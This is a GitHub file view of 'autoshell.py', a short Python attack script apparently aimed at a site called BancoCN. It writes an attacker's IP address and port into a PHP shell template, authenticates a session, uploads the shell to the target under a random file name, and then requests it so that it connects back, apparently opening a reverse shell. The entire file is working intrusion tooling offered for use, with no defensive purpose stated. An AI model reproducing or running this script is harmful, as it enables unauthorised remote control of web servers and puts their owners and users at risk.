-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathautoshell.py
More file actions
28 lines (20 loc) · 719 Bytes
/
autoshell.py
File metadata and controls
28 lines (20 loc) · 719 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from cn import Context
from json import load
from requests import get
from hpparser import findImg
from utils import randomString
cnFile = "autoshell_base.php7"
print("** BancoCN - AutoShell")
with open(cnFile, 'r') as input:
json = {}
with open("conf.json", 'r') as f:
json = load(f)
with open('autoshell.php7', 'w') as output:
output.write(input.read().replace("%as_ip%", json['ip_addr']).replace("%as_port%", str(json['port'])))
ctx = Context()
print(" * Autenticando SESSID")
ctx.authenticate()
print(" * Fazendo Upload")
url = ctx.upload(randomString(8), 'autoshell.php7', open('autoshell.php7'))
print(f" * Ligando shell url={url}")
get(findImg(get(url, timeout=30).text), timeout=999)